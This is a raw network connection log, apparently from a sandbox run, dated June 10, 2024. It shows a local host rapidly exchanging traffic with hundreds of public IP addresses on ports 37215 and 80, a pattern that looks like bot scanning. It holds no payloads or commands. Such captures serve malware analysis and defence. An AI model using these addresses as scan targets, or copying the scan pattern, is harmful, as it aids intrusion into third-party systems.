Jun 10, 2024 15:37:58.464857101 CEST	37215	30401	156.32.132.93	192.168.2.13
Jun 10, 2024 15:37:58.464869022 CEST	37215	30401	156.60.90.199	192.168.2.13
Jun 10, 2024 15:37:58.464883089 CEST	37215	30401	156.67.226.82	192.168.2.13
Jun 10, 2024 15:37:58.464884043 CEST	30401	37215	192.168.2.13	41.97.23.92
Jun 10, 2024 15:37:58.464895964 CEST	37215	30401	197.192.210.171	192.168.2.13
Jun 10, 2024 15:37:58.464905024 CEST	30401	37215	192.168.2.13	156.60.90.199
Jun 10, 2024 15:37:58.464907885 CEST	30401	37215	192.168.2.13	156.32.132.93
Jun 10, 2024 15:37:58.464910030 CEST	37215	30401	156.185.143.113	192.168.2.13
Jun 10, 2024 15:37:58.464924097 CEST	37215	30401	197.11.121.199	192.168.2.13
Jun 10, 2024 15:37:58.464926004 CEST	30401	37215	192.168.2.13	156.67.226.82
Jun 10, 2024 15:37:58.464927912 CEST	30401	37215	192.168.2.13	197.192.210.171
Jun 10, 2024 15:37:58.464936972 CEST	37215	30401	41.92.127.129	192.168.2.13
Jun 10, 2024 15:37:58.464942932 CEST	30401	37215	192.168.2.13	156.185.143.113
Jun 10, 2024 15:37:58.464950085 CEST	37215	30401	197.53.161.229	192.168.2.13
Jun 10, 2024 15:37:58.464962006 CEST	30401	37215	192.168.2.13	41.92.127.129
Jun 10, 2024 15:37:58.464963913 CEST	37215	30401	156.78.13.161	192.168.2.13
Jun 10, 2024 15:37:58.464976072 CEST	80	16833	70.109.71.255	192.168.2.13
Jun 10, 2024 15:37:58.464983940 CEST	30401	37215	192.168.2.13	197.53.161.229
Jun 10, 2024 15:37:58.464987993 CEST	80	16833	151.218.172.48	192.168.2.13
Jun 10, 2024 15:37:58.464996099 CEST	30401	37215	192.168.2.13	156.78.13.161
Jun 10, 2024 15:37:58.465001106 CEST	37215	30401	156.97.36.34	192.168.2.13
Jun 10, 2024 15:37:58.465008020 CEST	16833	80	192.168.2.13	70.109.71.255
Jun 10, 2024 15:37:58.465013981 CEST	37215	30401	197.142.203.17	192.168.2.13
Jun 10, 2024 15:37:58.465022087 CEST	30401	37215	192.168.2.13	197.11.121.199
Jun 10, 2024 15:37:58.465025902 CEST	16833	80	192.168.2.13	151.218.172.48
Jun 10, 2024 15:37:58.465027094 CEST	37215	30401	41.30.124.178	192.168.2.13
Jun 10, 2024 15:37:58.465039015 CEST	37215	30401	156.10.20.117	192.168.2.13
Jun 10, 2024 15:37:58.465044975 CEST	30401	37215	192.168.2.13	197.142.203.17
Jun 10, 2024 15:37:58.465049028 CEST	30401	37215	192.168.2.13	156.97.36.34
Jun 10, 2024 15:37:58.465051889 CEST	37215	30401	156.79.10.64	192.168.2.13
Jun 10, 2024 15:37:58.465064049 CEST	30401	37215	192.168.2.13	41.30.124.178
Jun 10, 2024 15:37:58.465065002 CEST	37215	30401	156.31.27.232	192.168.2.13
Jun 10, 2024 15:37:58.465080976 CEST	80	16833	50.13.193.163	192.168.2.13
Jun 10, 2024 15:37:58.465081930 CEST	30401	37215	192.168.2.13	156.79.10.64
Jun 10, 2024 15:37:58.465085030 CEST	30401	37215	192.168.2.13	156.10.20.117
Jun 10, 2024 15:37:58.465092897 CEST	80	16833	70.156.171.43	192.168.2.13
Jun 10, 2024 15:37:58.465106964 CEST	37215	30401	197.125.224.191	192.168.2.13
Jun 10, 2024 15:37:58.465106964 CEST	30401	37215	192.168.2.13	156.31.27.232
Jun 10, 2024 15:37:58.465118885 CEST	80	16833	57.244.132.164	192.168.2.13
Jun 10, 2024 15:37:58.465120077 CEST	16833	80	192.168.2.13	50.13.193.163
Jun 10, 2024 15:37:58.465131044 CEST	16833	80	192.168.2.13	70.156.171.43
Jun 10, 2024 15:37:58.465133905 CEST	37215	30401	156.82.1.213	192.168.2.13
Jun 10, 2024 15:37:58.465143919 CEST	30401	37215	192.168.2.13	197.125.224.191
Jun 10, 2024 15:37:58.465148926 CEST	37215	30401	197.56.205.250	192.168.2.13
Jun 10, 2024 15:37:58.465154886 CEST	16833	80	192.168.2.13	57.244.132.164
Jun 10, 2024 15:37:58.465158939 CEST	30401	37215	192.168.2.13	156.82.1.213
Jun 10, 2024 15:37:58.465162039 CEST	37215	30401	156.98.83.218	192.168.2.13
Jun 10, 2024 15:37:58.465176105 CEST	37215	30401	197.215.149.213	192.168.2.13
Jun 10, 2024 15:37:58.465183020 CEST	30401	37215	192.168.2.13	197.56.205.250
Jun 10, 2024 15:37:58.465188026 CEST	80	16833	194.55.24.22	192.168.2.13
Jun 10, 2024 15:37:58.465193033 CEST	30401	37215	192.168.2.13	156.98.83.218
Jun 10, 2024 15:37:58.465199947 CEST	80	16833	102.230.19.253	192.168.2.13
Jun 10, 2024 15:37:58.465205908 CEST	30401	37215	192.168.2.13	197.215.149.213
Jun 10, 2024 15:37:58.465214968 CEST	37215	30401	156.216.173.116	192.168.2.13
Jun 10, 2024 15:37:58.465226889 CEST	16833	80	192.168.2.13	194.55.24.22
Jun 10, 2024 15:37:58.465229034 CEST	37215	30401	41.86.126.31	192.168.2.13
Jun 10, 2024 15:37:58.465236902 CEST	16833	80	192.168.2.13	102.230.19.253
Jun 10, 2024 15:37:58.465239048 CEST	30401	37215	192.168.2.13	156.216.173.116
Jun 10, 2024 15:37:58.465241909 CEST	80	16833	20.2.48.78	192.168.2.13
Jun 10, 2024 15:37:58.465253115 CEST	80	16833	88.157.63.21	192.168.2.13
Jun 10, 2024 15:37:58.465260029 CEST	80	16833	193.5.227.125	192.168.2.13
Jun 10, 2024 15:37:58.465260029 CEST	30401	37215	192.168.2.13	41.86.126.31
Jun 10, 2024 15:37:58.465272903 CEST	80	16833	181.171.108.67	192.168.2.13
Jun 10, 2024 15:37:58.465280056 CEST	16833	80	192.168.2.13	20.2.48.78
Jun 10, 2024 15:37:58.465281963 CEST	16833	80	192.168.2.13	88.157.63.21
Jun 10, 2024 15:37:58.465286970 CEST	80	16833	115.56.153.54	192.168.2.13
Jun 10, 2024 15:37:58.465298891 CEST	37215	30401	197.123.58.130	192.168.2.13
Jun 10, 2024 15:37:58.465300083 CEST	16833	80	192.168.2.13	193.5.227.125
Jun 10, 2024 15:37:58.465312004 CEST	37215	30401	41.119.93.57	192.168.2.13
Jun 10, 2024 15:37:58.465312958 CEST	16833	80	192.168.2.13	181.171.108.67
Jun 10, 2024 15:37:58.465317011 CEST	16833	80	192.168.2.13	115.56.153.54
Jun 10, 2024 15:37:58.465323925 CEST	80	16833	213.227.25.210	192.168.2.13
Jun 10, 2024 15:37:58.465326071 CEST	30401	37215	192.168.2.13	197.123.58.130
Jun 10, 2024 15:37:58.465337038 CEST	80	16833	32.111.100.187	192.168.2.13
Jun 10, 2024 15:37:58.465342999 CEST	30401	37215	192.168.2.13	41.119.93.57
Jun 10, 2024 15:37:58.465349913 CEST	37215	30401	197.35.253.5	192.168.2.13
Jun 10, 2024 15:37:58.465354919 CEST	16833	80	192.168.2.13	213.227.25.210
Jun 10, 2024 15:37:58.465373993 CEST	16833	80	192.168.2.13	32.111.100.187
Jun 10, 2024 15:37:58.465387106 CEST	30401	37215	192.168.2.13	197.35.253.5
Jun 10, 2024 15:37:58.467587948 CEST	37215	30401	197.252.226.228	192.168.2.13
Jun 10, 2024 15:37:58.467607021 CEST	37215	30401	41.196.189.226	192.168.2.13
Jun 10, 2024 15:37:58.467619896 CEST	37215	30401	41.12.156.197	192.168.2.13
Jun 10, 2024 15:37:58.467633009 CEST	37215	30401	156.167.122.41	192.168.2.13
Jun 10, 2024 15:37:58.467643023 CEST	30401	37215	192.168.2.13	197.252.226.228
Jun 10, 2024 15:37:58.467643023 CEST	30401	37215	192.168.2.13	41.196.189.226
Jun 10, 2024 15:37:58.467645884 CEST	37215	30401	41.113.11.68	192.168.2.13
Jun 10, 2024 15:37:58.467658997 CEST	80	16833	115.165.178.143	192.168.2.13
Jun 10, 2024 15:37:58.467670918 CEST	80	16833	9.203.151.161	192.168.2.13
Jun 10, 2024 15:37:58.467684031 CEST	37215	30401	41.41.95.201	192.168.2.13
Jun 10, 2024 15:37:58.467685938 CEST	30401	37215	192.168.2.13	156.167.122.41
Jun 10, 2024 15:37:58.467685938 CEST	30401	37215	192.168.2.13	41.12.156.197
Jun 10, 2024 15:37:58.467688084 CEST	30401	37215	192.168.2.13	41.113.11.68
Jun 10, 2024 15:37:58.467696905 CEST	37215	30401	41.26.2.2	192.168.2.13
Jun 10, 2024 15:37:58.467710972 CEST	37215	30401	41.201.89.180	192.168.2.13
Jun 10, 2024 15:37:58.467716932 CEST	16833	80	192.168.2.13	115.165.178.143
Jun 10, 2024 15:37:58.467716932 CEST	30401	37215	192.168.2.13	41.41.95.201
Jun 10, 2024 15:37:58.467724085 CEST	37215	30401	41.66.186.65	192.168.2.13
Jun 10, 2024 15:37:58.467730045 CEST	30401	37215	192.168.2.13	41.26.2.2
Jun 10, 2024 15:37:58.467737913 CEST	37215	30401	197.27.200.127	192.168.2.13
Jun 10, 2024 15:37:58.467746973 CEST	30401	37215	192.168.2.13	41.201.89.180
Jun 10, 2024 15:37:58.467751026 CEST	37215	30401	156.237.170.76	192.168.2.13
Jun 10, 2024 15:37:58.467756987 CEST	30401	37215	192.168.2.13	41.66.186.65
Jun 10, 2024 15:37:58.467765093 CEST	37215	30401	156.59.177.15	192.168.2.13
Jun 10, 2024 15:37:58.467765093 CEST	30401	37215	192.168.2.13	197.27.200.127
Jun 10, 2024 15:37:58.467780113 CEST	80	16833	96.121.230.115	192.168.2.13
Jun 10, 2024 15:37:58.467782021 CEST	30401	37215	192.168.2.13	156.237.170.76
Jun 10, 2024 15:37:58.467794895 CEST	80	16833	31.24.128.114	192.168.2.13
Jun 10, 2024 15:37:58.467806101 CEST	30401	37215	192.168.2.13	156.59.177.15
Jun 10, 2024 15:37:58.467807055 CEST	37215	30401	197.91.250.61	192.168.2.13
Jun 10, 2024 15:37:58.467809916 CEST	16833	80	192.168.2.13	96.121.230.115
Jun 10, 2024 15:37:58.467820883 CEST	37215	30401	156.201.14.29	192.168.2.13
Jun 10, 2024 15:37:58.467833042 CEST	37215	30401	41.15.193.245	192.168.2.13
Jun 10, 2024 15:37:58.467844963 CEST	80	16833	173.150.225.180	192.168.2.13
Jun 10, 2024 15:37:58.467856884 CEST	37215	30401	197.234.232.228	192.168.2.13
Jun 10, 2024 15:37:58.467869043 CEST	37215	30401	197.230.194.3	192.168.2.13
Jun 10, 2024 15:37:58.467880964 CEST	37215	30401	197.119.156.133	192.168.2.13
Jun 10, 2024 15:37:58.467888117 CEST	16833	80	192.168.2.13	9.203.151.161
Jun 10, 2024 15:37:58.467888117 CEST	30401	37215	192.168.2.13	41.15.193.245
Jun 10, 2024 15:37:58.467892885 CEST	16833	80	192.168.2.13	31.24.128.114
Jun 10, 2024 15:37:58.467896938 CEST	30401	37215	192.168.2.13	156.201.14.29
Jun 10, 2024 15:37:58.467894077 CEST	37215	30401	156.27.221.22	192.168.2.13
Jun 10, 2024 15:37:58.467897892 CEST	30401	37215	192.168.2.13	197.91.250.61
Jun 10, 2024 15:37:58.467895985 CEST	16833	80	192.168.2.13	173.150.225.180
Jun 10, 2024 15:37:58.467915058 CEST	30401	37215	192.168.2.13	197.230.194.3
Jun 10, 2024 15:37:58.467916012 CEST	30401	37215	192.168.2.13	197.234.232.228
Jun 10, 2024 15:37:58.467917919 CEST	37215	30401	197.216.238.129	192.168.2.13
Jun 10, 2024 15:37:58.467922926 CEST	30401	37215	192.168.2.13	197.119.156.133
Jun 10, 2024 15:37:58.467931032 CEST	37215	30401	41.174.115.39	192.168.2.13
Jun 10, 2024 15:37:58.467943907 CEST	37215	30401	41.170.34.101	192.168.2.13
Jun 10, 2024 15:37:58.467956066 CEST	37215	30401	197.33.14.33	192.168.2.13
Jun 10, 2024 15:37:58.467964888 CEST	30401	37215	192.168.2.13	197.216.238.129
Jun 10, 2024 15:37:58.467968941 CEST	80	16833	181.232.47.252	192.168.2.13
Jun 10, 2024 15:37:58.467982054 CEST	80	16833	86.102.128.211	192.168.2.13
Jun 10, 2024 15:37:58.467993975 CEST	80	16833	13.159.171.238	192.168.2.13
Jun 10, 2024 15:37:58.468005896 CEST	37215	30401	156.211.89.221	192.168.2.13
Jun 10, 2024 15:37:58.468008995 CEST	30401	37215	192.168.2.13	41.170.34.101
Jun 10, 2024 15:37:58.468015909 CEST	30401	37215	192.168.2.13	156.27.221.22
Jun 10, 2024 15:37:58.468015909 CEST	30401	37215	192.168.2.13	41.174.115.39
Jun 10, 2024 15:37:58.468015909 CEST	16833	80	192.168.2.13	181.232.47.252
Jun 10, 2024 15:37:58.468018055 CEST	80	16833	195.50.200.227	192.168.2.13
Jun 10, 2024 15:37:58.468024969 CEST	16833	80	192.168.2.13	86.102.128.211
Jun 10, 2024 15:37:58.468029976 CEST	37215	30401	156.149.40.98	192.168.2.13
Jun 10, 2024 15:37:58.468043089 CEST	80	16833	99.27.23.33	192.168.2.13
Jun 10, 2024 15:37:58.468055010 CEST	37215	30401	41.133.249.86	192.168.2.13
Jun 10, 2024 15:37:58.468065977 CEST	30401	37215	192.168.2.13	156.211.89.221
Jun 10, 2024 15:37:58.468066931 CEST	37215	30401	156.0.100.48	192.168.2.13
Jun 10, 2024 15:37:58.468067884 CEST	30401	37215	192.168.2.13	197.33.14.33
Jun 10, 2024 15:37:58.468074083 CEST	16833	80	192.168.2.13	13.159.171.238
Jun 10, 2024 15:37:58.468075037 CEST	30401	37215	192.168.2.13	156.149.40.98
Jun 10, 2024 15:37:58.468080044 CEST	37215	30401	156.200.103.68	192.168.2.13
Jun 10, 2024 15:37:58.468085051 CEST	16833	80	192.168.2.13	195.50.200.227
Jun 10, 2024 15:37:58.468085051 CEST	16833	80	192.168.2.13	99.27.23.33
Jun 10, 2024 15:37:58.468090057 CEST	30401	37215	192.168.2.13	41.133.249.86
Jun 10, 2024 15:37:58.468092918 CEST	37215	30401	156.245.32.228	192.168.2.13
Jun 10, 2024 15:37:58.468101978 CEST	30401	37215	192.168.2.13	156.0.100.48
Jun 10, 2024 15:37:58.468106985 CEST	37215	30401	156.163.10.127	192.168.2.13
Jun 10, 2024 15:37:58.468120098 CEST	37215	30401	41.129.117.24	192.168.2.13
Jun 10, 2024 15:37:58.468130112 CEST	30401	37215	192.168.2.13	156.245.32.228
Jun 10, 2024 15:37:58.468141079 CEST	30401	37215	192.168.2.13	156.163.10.127
Jun 10, 2024 15:37:58.468163013 CEST	30401	37215	192.168.2.13	41.129.117.24
Jun 10, 2024 15:37:58.468172073 CEST	30401	37215	192.168.2.13	156.200.103.68
Jun 10, 2024 15:37:58.469609976 CEST	37215	30401	197.204.132.252	192.168.2.13
Jun 10, 2024 15:37:58.469626904 CEST	80	16833	158.214.75.80	192.168.2.13
Jun 10, 2024 15:37:58.469640017 CEST	80	16833	84.162.2.5	192.168.2.13
Jun 10, 2024 15:37:58.469652891 CEST	37215	30401	156.20.52.94	192.168.2.13
Jun 10, 2024 15:37:58.469656944 CEST	30401	37215	192.168.2.13	197.204.132.252
Jun 10, 2024 15:37:58.469659090 CEST	16833	80	192.168.2.13	158.214.75.80
Jun 10, 2024 15:37:58.469665051 CEST	37215	30401	41.249.229.189	192.168.2.13
Jun 10, 2024 15:37:58.469677925 CEST	80	16833	51.33.7.198	192.168.2.13
Jun 10, 2024 15:37:58.469681978 CEST	16833	80	192.168.2.13	84.162.2.5
Jun 10, 2024 15:37:58.469685078 CEST	30401	37215	192.168.2.13	156.20.52.94
Jun 10, 2024 15:37:58.469691038 CEST	37215	30401	41.38.173.29	192.168.2.13
Jun 10, 2024 15:37:58.469702959 CEST	80	16833	167.251.162.140	192.168.2.13
Jun 10, 2024 15:37:58.469703913 CEST	30401	37215	192.168.2.13	41.249.229.189
Jun 10, 2024 15:37:58.469712973 CEST	16833	80	192.168.2.13	51.33.7.198
Jun 10, 2024 15:37:58.469716072 CEST	37215	30401	197.167.46.184	192.168.2.13
Jun 10, 2024 15:37:58.469722033 CEST	30401	37215	192.168.2.13	41.38.173.29
Jun 10, 2024 15:37:58.469729900 CEST	37215	30401	197.117.1.160	192.168.2.13
Jun 10, 2024 15:37:58.469734907 CEST	16833	80	192.168.2.13	167.251.162.140
Jun 10, 2024 15:37:58.469743013 CEST	80	16833	46.11.146.222	192.168.2.13
Jun 10, 2024 15:37:58.469749928 CEST	30401	37215	192.168.2.13	197.167.46.184
Jun 10, 2024 15:37:58.469755888 CEST	37215	30401	156.200.31.222	192.168.2.13
Jun 10, 2024 15:37:58.469758034 CEST	30401	37215	192.168.2.13	197.117.1.160
Jun 10, 2024 15:37:58.469769001 CEST	37215	30401	156.241.178.155	192.168.2.13
Jun 10, 2024 15:37:58.469782114 CEST	80	16833	78.199.201.121	192.168.2.13
Jun 10, 2024 15:37:58.469783068 CEST	16833	80	192.168.2.13	46.11.146.222
Jun 10, 2024 15:37:58.469790936 CEST	30401	37215	192.168.2.13	156.200.31.222
Jun 10, 2024 15:37:58.469794035 CEST	37215	30401	197.104.66.200	192.168.2.13
Jun 10, 2024 15:37:58.469799042 CEST	30401	37215	192.168.2.13	156.241.178.155
Jun 10, 2024 15:37:58.469808102 CEST	37215	30401	41.77.126.220	192.168.2.13
Jun 10, 2024 15:37:58.469820976 CEST	80	16833	111.31.234.213	192.168.2.13
Jun 10, 2024 15:37:58.469832897 CEST	37215	30401	41.62.237.163	192.168.2.13
Jun 10, 2024 15:37:58.469837904 CEST	16833	80	192.168.2.13	78.199.201.121
Jun 10, 2024 15:37:58.469845057 CEST	30401	37215	192.168.2.13	197.104.66.200
Jun 10, 2024 15:37:58.469846010 CEST	37215	30401	41.29.83.119	192.168.2.13
Jun 10, 2024 15:37:58.469851017 CEST	16833	80	192.168.2.13	111.31.234.213
Jun 10, 2024 15:37:58.469855070 CEST	30401	37215	192.168.2.13	41.77.126.220
Jun 10, 2024 15:37:58.469858885 CEST	37215	30401	156.67.39.138	192.168.2.13
Jun 10, 2024 15:37:58.469871044 CEST	80	16833	145.193.92.118	192.168.2.13
Jun 10, 2024 15:37:58.469877005 CEST	30401	37215	192.168.2.13	41.62.237.163
Jun 10, 2024 15:37:58.469881058 CEST	30401	37215	192.168.2.13	41.29.83.119
Jun 10, 2024 15:37:58.469883919 CEST	37215	30401	41.119.15.3	192.168.2.13
Jun 10, 2024 15:37:58.469897032 CEST	37215	30401	156.111.65.226	192.168.2.13
Jun 10, 2024 15:37:58.469897985 CEST	30401	37215	192.168.2.13	156.67.39.138
Jun 10, 2024 15:37:58.469912052 CEST	37215	30401	197.194.19.10	192.168.2.13
Jun 10, 2024 15:37:58.469914913 CEST	16833	80	192.168.2.13	145.193.92.118
Jun 10, 2024 15:37:58.469918966 CEST	30401	37215	192.168.2.13	41.119.15.3
Jun 10, 2024 15:37:58.469928026 CEST	37215	30401	41.41.124.55	192.168.2.13
Jun 10, 2024 15:37:58.469942093 CEST	37215	30401	197.154.100.53	192.168.2.13
Jun 10, 2024 15:37:58.469948053 CEST	30401	37215	192.168.2.13	156.111.65.226
Jun 10, 2024 15:37:58.469948053 CEST	30401	37215	192.168.2.13	197.194.19.10
Jun 10, 2024 15:37:58.469954014 CEST	37215	30401	41.163.61.71	192.168.2.13
Jun 10, 2024 15:37:58.469959021 CEST	30401	37215	192.168.2.13	41.41.124.55
Jun 10, 2024 15:37:58.469968081 CEST	37215	30401	156.224.63.34	192.168.2.13
Jun 10, 2024 15:37:58.469973087 CEST	30401	37215	192.168.2.13	197.154.100.53
Jun 10, 2024 15:37:58.469980955 CEST	37215	30401	41.27.60.158	192.168.2.13
Jun 10, 2024 15:37:58.469986916 CEST	30401	37215	192.168.2.13	41.163.61.71
Jun 10, 2024 15:37:58.469993114 CEST	37215	30401	41.5.141.78	192.168.2.13
Jun 10, 2024 15:37:58.470005989 CEST	37215	30401	41.35.30.186	192.168.2.13
Jun 10, 2024 15:37:58.470009089 CEST	30401	37215	192.168.2.13	156.224.63.34
Jun 10, 2024 15:37:58.470010996 CEST	30401	37215	192.168.2.13	41.27.60.158
Jun 10, 2024 15:37:58.470017910 CEST	37215	30401	156.184.221.6	192.168.2.13
Jun 10, 2024 15:37:58.470030069 CEST	30401	37215	192.168.2.13	41.5.141.78
Jun 10, 2024 15:37:58.470030069 CEST	30401	37215	192.168.2.13	41.35.30.186
Jun 10, 2024 15:37:58.470031023 CEST	37215	30401	41.20.9.54	192.168.2.13
Jun 10, 2024 15:37:58.470043898 CEST	37215	30401	156.143.57.24	192.168.2.13
Jun 10, 2024 15:37:58.470053911 CEST	30401	37215	192.168.2.13	156.184.221.6
Jun 10, 2024 15:37:58.470056057 CEST	80	16833	161.147.107.200	192.168.2.13
Jun 10, 2024 15:37:58.470067978 CEST	37215	30401	156.211.61.223	192.168.2.13
Jun 10, 2024 15:37:58.470081091 CEST	37215	30401	197.159.104.223	192.168.2.13
Jun 10, 2024 15:37:58.470082998 CEST	30401	37215	192.168.2.13	41.20.9.54
Jun 10, 2024 15:37:58.470082998 CEST	30401	37215	192.168.2.13	156.143.57.24
Jun 10, 2024 15:37:58.470093012 CEST	16833	80	192.168.2.13	161.147.107.200
Jun 10, 2024 15:37:58.470093966 CEST	37215	30401	156.60.134.82	192.168.2.13
Jun 10, 2024 15:37:58.470105886 CEST	80	16833	189.244.26.215	192.168.2.13
Jun 10, 2024 15:37:58.470108032 CEST	30401	37215	192.168.2.13	156.211.61.223
Jun 10, 2024 15:37:58.470118999 CEST	37215	30401	197.66.41.3	192.168.2.13
Jun 10, 2024 15:37:58.470132113 CEST	37215	30401	156.193.159.157	192.168.2.13
Jun 10, 2024 15:37:58.470135927 CEST	30401	37215	192.168.2.13	197.159.104.223
Jun 10, 2024 15:37:58.470136881 CEST	30401	37215	192.168.2.13	156.60.134.82
Jun 10, 2024 15:37:58.470144987 CEST	16833	80	192.168.2.13	189.244.26.215
Jun 10, 2024 15:37:58.470161915 CEST	30401	37215	192.168.2.13	156.193.159.157
Jun 10, 2024 15:37:58.470164061 CEST	30401	37215	192.168.2.13	197.66.41.3
Jun 10, 2024 15:37:58.472434998 CEST	37215	30401	156.10.180.100	192.168.2.13
Jun 10, 2024 15:37:58.472453117 CEST	80	16833	17.120.58.139	192.168.2.13
Jun 10, 2024 15:37:58.472465038 CEST	80	16833	206.246.142.180	192.168.2.13
Jun 10, 2024 15:37:58.472475052 CEST	30401	37215	192.168.2.13	156.10.180.100
Jun 10, 2024 15:37:58.472477913 CEST	37215	30401	41.196.240.81	192.168.2.13
Jun 10, 2024 15:37:58.472500086 CEST	37215	30401	156.234.94.140	192.168.2.13
Jun 10, 2024 15:37:58.472501993 CEST	16833	80	192.168.2.13	17.120.58.139
Jun 10, 2024 15:37:58.472512007 CEST	37215	30401	197.140.96.112	192.168.2.13
Jun 10, 2024 15:37:58.472513914 CEST	16833	80	192.168.2.13	206.246.142.180
Jun 10, 2024 15:37:58.472523928 CEST	30401	37215	192.168.2.13	41.196.240.81
Jun 10, 2024 15:37:58.472526073 CEST	37215	30401	41.45.206.66	192.168.2.13
Jun 10, 2024 15:37:58.472537041 CEST	30401	37215	192.168.2.13	156.234.94.140
Jun 10, 2024 15:37:58.472538948 CEST	80	16833	41.79.68.203	192.168.2.13
Jun 10, 2024 15:37:58.472547054 CEST	30401	37215	192.168.2.13	197.140.96.112
Jun 10, 2024 15:37:58.472552061 CEST	37215	30401	41.62.206.70	192.168.2.13
Jun 10, 2024 15:37:58.472564936 CEST	37215	30401	197.173.122.45	192.168.2.13
Jun 10, 2024 15:37:58.472565889 CEST	30401	37215	192.168.2.13	41.45.206.66
Jun 10, 2024 15:37:58.472565889 CEST	16833	80	192.168.2.13	41.79.68.203
Jun 10, 2024 15:37:58.472578049 CEST	37215	30401	41.136.243.130	192.168.2.13
Jun 10, 2024 15:37:58.472584009 CEST	30401	37215	192.168.2.13	41.62.206.70
Jun 10, 2024 15:37:58.472592115 CEST	37215	30401	197.223.92.93	192.168.2.13
Jun 10, 2024 15:37:58.472599030 CEST	30401	37215	192.168.2.13	197.173.122.45
Jun 10, 2024 15:37:58.472605944 CEST	37215	30401	156.29.101.233	192.168.2.13
Jun 10, 2024 15:37:58.472610950 CEST	30401	37215	192.168.2.13	41.136.243.130
Jun 10, 2024 15:37:58.472619057 CEST	37215	30401	41.93.65.218	192.168.2.13
Jun 10, 2024 15:37:58.472628117 CEST	30401	37215	192.168.2.13	197.223.92.93
Jun 10, 2024 15:37:58.472630978 CEST	80	16833	133.151.118.131	192.168.2.13
Jun 10, 2024 15:37:58.472644091 CEST	37215	30401	197.102.90.128	192.168.2.13
Jun 10, 2024 15:37:58.472656012 CEST	30401	37215	192.168.2.13	156.29.101.233
Jun 10, 2024 15:37:58.472657919 CEST	37215	30401	197.125.251.86	192.168.2.13
Jun 10, 2024 15:37:58.472666025 CEST	30401	37215	192.168.2.13	41.93.65.218
Jun 10, 2024 15:37:58.472666025 CEST	16833	80	192.168.2.13	133.151.118.131
Jun 10, 2024 15:37:58.472671032 CEST	37215	30401	41.200.225.136	192.168.2.13
Jun 10, 2024 15:37:58.472678900 CEST	30401	37215	192.168.2.13	197.102.90.128
Jun 10, 2024 15:37:58.472682953 CEST	37215	30401	197.207.163.222	192.168.2.13
Jun 10, 2024 15:37:58.472686052 CEST	30401	37215	192.168.2.13	197.125.251.86
Jun 10, 2024 15:37:58.472696066 CEST	37215	30401	41.103.142.240	192.168.2.13
Jun 10, 2024 15:37:58.472702026 CEST	30401	37215	192.168.2.13	41.200.225.136
Jun 10, 2024 15:37:58.472708941 CEST	37215	30401	197.30.131.35	192.168.2.13
Jun 10, 2024 15:37:58.472714901 CEST	30401	37215	192.168.2.13	197.207.163.222
Jun 10, 2024 15:37:58.472721100 CEST	80	16833	100.207.105.157	192.168.2.13
Jun 10, 2024 15:37:58.472733974 CEST	80	16833	139.132.181.96	192.168.2.13
Jun 10, 2024 15:37:58.472745895 CEST	30401	37215	192.168.2.13	197.30.131.35
Jun 10, 2024 15:37:58.472747087 CEST	37215	30401	197.110.69.251	192.168.2.13
Jun 10, 2024 15:37:58.472755909 CEST	30401	37215	192.168.2.13	41.103.142.240
Jun 10, 2024 15:37:58.472755909 CEST	16833	80	192.168.2.13	100.207.105.157
Jun 10, 2024 15:37:58.472763062 CEST	37215	30401	197.8.238.78	192.168.2.13
Jun 10, 2024 15:37:58.472767115 CEST	16833	80	192.168.2.13	139.132.181.96
Jun 10, 2024 15:37:58.472775936 CEST	80	16833	177.26.140.40	192.168.2.13
Jun 10, 2024 15:37:58.472779036 CEST	30401	37215	192.168.2.13	197.110.69.251
Jun 10, 2024 15:37:58.472789049 CEST	37215	30401	156.28.59.39	192.168.2.13
Jun 10, 2024 15:37:58.472793102 CEST	30401	37215	192.168.2.13	197.8.238.78
Jun 10, 2024 15:37:58.472801924 CEST	37215	30401	197.89.36.101	192.168.2.13
Jun 10, 2024 15:37:58.472809076 CEST	16833	80	192.168.2.13	177.26.140.40
Jun 10, 2024 15:37:58.472814083 CEST	80	16833	149.252.83.244	192.168.2.13
Jun 10, 2024 15:37:58.472826004 CEST	30401	37215	192.168.2.13	156.28.59.39
Jun 10, 2024 15:37:58.472827911 CEST	80	16833	96.217.172.101	192.168.2.13
Jun 10, 2024 15:37:58.472841978 CEST	37215	30401	41.158.211.230	192.168.2.13
Jun 10, 2024 15:37:58.472842932 CEST	30401	37215	192.168.2.13	197.89.36.101
Jun 10, 2024 15:37:58.472855091 CEST	37215	30401	197.230.186.51	192.168.2.13
Jun 10, 2024 15:37:58.472861052 CEST	16833	80	192.168.2.13	149.252.83.244
Jun 10, 2024 15:37:58.472861052 CEST	16833	80	192.168.2.13	96.217.172.101
Jun 10, 2024 15:37:58.472867966 CEST	80	16833	155.123.113.46	192.168.2.13
Jun 10, 2024 15:37:58.472873926 CEST	30401	37215	192.168.2.13	41.158.211.230
Jun 10, 2024 15:37:58.472881079 CEST	37215	30401	197.28.140.194	192.168.2.13
Jun 10, 2024 15:37:58.472893953 CEST	80	16833	80.99.189.225	192.168.2.13
Jun 10, 2024 15:37:58.472903967 CEST	30401	37215	192.168.2.13	197.230.186.51
Jun 10, 2024 15:37:58.472906113 CEST	37215	30401	41.116.133.2	192.168.2.13
Jun 10, 2024 15:37:58.472907066 CEST	16833	80	192.168.2.13	155.123.113.46
Jun 10, 2024 15:37:58.472918987 CEST	37215	30401	41.58.43.68	192.168.2.13
Jun 10, 2024 15:37:58.472920895 CEST	16833	80	192.168.2.13	80.99.189.225
Jun 10, 2024 15:37:58.472922087 CEST	30401	37215	192.168.2.13	197.28.140.194
Jun 10, 2024 15:37:58.472933054 CEST	80	16833	148.202.194.199	192.168.2.13
Jun 10, 2024 15:37:58.472940922 CEST	30401	37215	192.168.2.13	41.116.133.2
Jun 10, 2024 15:37:58.472945929 CEST	37215	30401	197.100.232.47	192.168.2.13
Jun 10, 2024 15:37:58.472959042 CEST	37215	30401	197.173.6.81	192.168.2.13
Jun 10, 2024 15:37:58.472965002 CEST	30401	37215	192.168.2.13	41.58.43.68
Jun 10, 2024 15:37:58.472965002 CEST	16833	80	192.168.2.13	148.202.194.199
Jun 10, 2024 15:37:58.472971916 CEST	80	16833	162.156.26.34	192.168.2.13
Jun 10, 2024 15:37:58.472980022 CEST	30401	37215	192.168.2.13	197.100.232.47
Jun 10, 2024 15:37:58.472999096 CEST	30401	37215	192.168.2.13	197.173.6.81
Jun 10, 2024 15:37:58.473005056 CEST	16833	80	192.168.2.13	162.156.26.34
Jun 10, 2024 15:37:58.474380016 CEST	37215	30401	156.161.209.230	192.168.2.13
Jun 10, 2024 15:37:58.474396944 CEST	80	16833	155.63.203.50	192.168.2.13
Jun 10, 2024 15:37:58.474409103 CEST	80	16833	184.103.204.143	192.168.2.13
